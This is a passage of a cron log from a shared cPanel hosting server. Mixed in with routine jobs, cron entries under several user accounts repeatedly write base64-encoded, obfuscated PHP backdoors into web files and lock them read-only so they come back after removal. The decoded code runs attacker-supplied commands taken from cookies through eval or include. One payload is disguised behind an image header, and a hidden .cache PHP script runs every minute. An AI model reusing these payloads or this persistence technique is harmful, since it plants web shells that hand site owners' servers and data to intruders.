sZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:10:01 medusa CROND[26076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:10:01 medusa CROND[26073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:10:01 medusa CROND[26087]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:10:01 medusa CROND[26089]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:10:01 medusa CROND[26090]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 05:10:01 medusa CROND[26047]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:11:01 medusa CROND[14020]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:11:01 medusa CROND[14086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:11:01 medusa CROND[14131]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:11:01 medusa CROND[14249]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:11:01 medusa CROND[14300]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:11:01 medusa CROND[14302]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:11:01 medusa CROND[14301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:11:01 medusa CROND[14303]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:11:01 medusa CROND[14305]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:11:01 medusa CROND[14306]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:11:01 medusa CROND[14308]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:11:01 medusa CROND[14304]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:11:01 medusa CROND[14313]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:12:01 medusa CROND[911]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:12:02 medusa CROND[1397]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:12:02 medusa CROND[1398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:12:02 medusa CROND[1399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:12:02 medusa CROND[1400]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:12:02 medusa CROND[1402]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:12:02 medusa CROND[1403]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:12:02 medusa CROND[1409]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:12:02 medusa CROND[1410]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:12:02 medusa CROND[1411]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:12:02 medusa CROND[1412]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:12:02 medusa CROND[1416]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:12:02 medusa CROND[1424]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:12:02 medusa CROND[1432]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHr